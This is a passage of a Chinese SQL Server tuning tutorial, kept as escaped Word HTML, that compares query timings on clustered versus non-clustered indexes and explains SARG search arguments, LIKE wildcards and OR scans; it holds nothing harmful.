&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid&amp;lt;=250000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;使用时间：&lt;SPAN&gt;4470&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;这里，用聚合索引比用不是聚合索引的主键速度快了近&lt;SPAN&gt;1/4&lt;/SPAN&gt;。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;2&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、用聚合索引比用一般的主键作&lt;SPAN&gt;order by&lt;/SPAN&gt;时速度快，特别是在小数据量情况下&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;12936&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;18843&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;这里，用聚合索引比用一般的主键作&lt;SPAN&gt;order by&lt;/SPAN&gt;时，速度快了&lt;SPAN&gt;3/10&lt;/SPAN&gt;。事实上，如果数据量很小的话，用聚集索引作为排序列要比使用非聚集索引速度快得明显的多；而数据量如果很大的话，如&lt;SPAN&gt;10&lt;/SPAN&gt;万以上，则二者的速度差别不明显。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;3&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、使用聚合索引内的时间段，搜索时间会按数据占整个数据表的百分比成比例减少，而无论聚合索引使用了多少个&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&amp;gt;'2004-1-1'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;6343&lt;/SPAN&gt;毫秒（提取&lt;SPAN&gt;100&lt;/SPAN&gt;万条）&lt;SPAN&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&amp;gt;'2004-6-6'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;3170&lt;/SPAN&gt;毫秒（提取&lt;SPAN&gt;50&lt;/SPAN&gt;万条）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;3326&lt;/SPAN&gt;毫秒（和上句的结果一模一样。如果采集的数量一样，那么用大于号和等于号是一样的）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&amp;gt;'2004-1-1' and fariqi&amp;lt;'2004-6-6'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;3280&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;4 &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、日期列不会因为有分秒的输入而减慢查询速度&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;下面的例子中，共有&lt;SPAN&gt;100&lt;/SPAN&gt;万条数据，&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;1&lt;/SPAN&gt;月&lt;SPAN&gt;1&lt;/SPAN&gt;日以后的数据有&lt;SPAN&gt;50&lt;/SPAN&gt;万条，但只有两个不同的日期，日期精确到日；之前有数据&lt;SPAN&gt;50&lt;/SPAN&gt;万条，有&lt;SPAN&gt;5000&lt;/SPAN&gt;个不同的日期，日期精确到秒。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&amp;gt;'2004-1-1' order by fariqi&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;6390&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&amp;lt;'2004-1-1' order by fariqi&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;6453&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（五）其他注意事项&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;“水可载舟，亦可覆舟”，索引也一样。索引有助于提高检索性能，但过多或不当的索引也会导致系统低效。因为用户在表中每加进一个索引，数据库就要做更多的工作。过多的索引甚至会导致索引碎片。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;所以说，我们要建立一个“适当”的索引体系，特别是对聚合索引的创建，更应精益求精，以使您的数据库能得到高性能的发挥。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;当然，在实践中，作为一个尽职的数据库管理员，您还要多测试一些方案，找出哪种方案效率最高、最为有效。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 黑体"&gt;二、改善&lt;SPAN&gt;SQL&lt;/SPAN&gt;语句&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;很多人不知道&lt;SPAN&gt;SQL&lt;/SPAN&gt;语句在&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;中是如何执行的，他们担心自己所写的&lt;SPAN&gt;SQL&lt;/SPAN&gt;语句会被&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;误解。比如：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select * from table1 where name='zhangsan' and tID &amp;gt; 10000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;和执行&lt;SPAN&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select * from table1 where tID &amp;gt; 10000 and name='zhangsan'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;一些人不知道以上两条语句的执行效率是否一样，因为如果简单的从语句先后上看，这两个语句的确是不一样，如果&lt;SPAN&gt;tID&lt;/SPAN&gt;是一个聚合索引，那么后一句仅仅从表的&lt;SPAN&gt;10000&lt;/SPAN&gt;条以后的记录中查找就行了；而前一句则要先从全表中查找看有几个&lt;SPAN&gt;name='zhangsan'&lt;/SPAN&gt;的，而后再根据限制条件条件&lt;SPAN&gt;tID&amp;gt;10000&lt;/SPAN&gt;来提出查询结果。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;事实上，这样的担心是不必要的。&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;中有一个“查询分析优化器”，它可以计算出&lt;SPAN&gt;where&lt;/SPAN&gt;子句中的搜索条件并确定哪个索引能缩小表扫描的搜索空间，也就是说，它能实现自动优化。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;虽然查询优化器可以根据&lt;SPAN&gt;where&lt;/SPAN&gt;子句自动的进行查询优化，但大家仍然有必要了解一下“查询优化器”的工作原理，如非这样，有时查询优化器就会不按照您的本意进行快速查询。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;在查询分析阶段，查询优化器查看查询的每个阶段并决定限制需要扫描的数据量是否有用。如果一个阶段可以被用作一个扫描参数（&lt;SPAN&gt;SARG&lt;/SPAN&gt;），那么就称之为可优化的，并且可以利用索引快速获得所需数据。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;SARG&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;的定义：用于限制搜索的一个操作，因为它通常是指一个特定的匹配，一个值得范围内的匹配或者两个以上条件的&lt;SPAN&gt;AND&lt;/SPAN&gt;连接。形式如下：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;列名 操作符&lt;SPAN&gt; &amp;lt;&lt;/SPAN&gt;常数 或 变量&lt;SPAN&gt;&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 64pt; mso-char-indent-count: 4.0"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;或&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;&amp;lt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;常数 或 变量&lt;SPAN&gt;&amp;gt; &lt;/SPAN&gt;操作符列名&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;列名可以出现在操作符的一边，而常数或变量出现在操作符的另一边。如：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;Name=&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张三&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;价格&lt;SPAN&gt;&amp;gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;5000&amp;lt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;价格&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;Name=&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张三&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt; and &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;价格&lt;SPAN&gt;&amp;gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;如果一个表达式不能满足&lt;SPAN&gt;SARG&lt;/SPAN&gt;的形式，那它就无法限制搜索的范围了，也就是&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;必须对每一行都判断它是否满足&lt;SPAN&gt;WHERE&lt;/SPAN&gt;子句中的所有条件。所以一个索引对于不满足&lt;SPAN&gt;SARG&lt;/SPAN&gt;形式的表达式来说是无用的。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;介绍完&lt;SPAN&gt;SARG&lt;/SPAN&gt;后，我们来总结一下使用&lt;SPAN&gt;SARG&lt;/SPAN&gt;以及在实践中遇到的和某些资料上结论不同的经验：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;1&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、&lt;SPAN&gt;Like&lt;/SPAN&gt;语句是否属于&lt;SPAN&gt;SARG&lt;/SPAN&gt;取决于所使用的通配符的类型&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;如：&lt;SPAN&gt;name like &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;‘&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张&lt;SPAN&gt;%&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;，这就属于&lt;SPAN&gt;SARG&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;而：&lt;SPAN&gt;name like &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;‘&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;%&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt; ,&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;就不属于&lt;SPAN&gt;SARG&lt;/SPAN&gt;。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;原因是通配符&lt;SPAN&gt;%&lt;/SPAN&gt;在字符串的开通使得索引无法使用。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;2&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、&lt;SPAN&gt;or &lt;/SPAN&gt;会引起全表扫描&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;Name=&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;张三&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312"&gt;’&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt; and &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;价格&lt;SPAN&gt;&amp;gt;5000 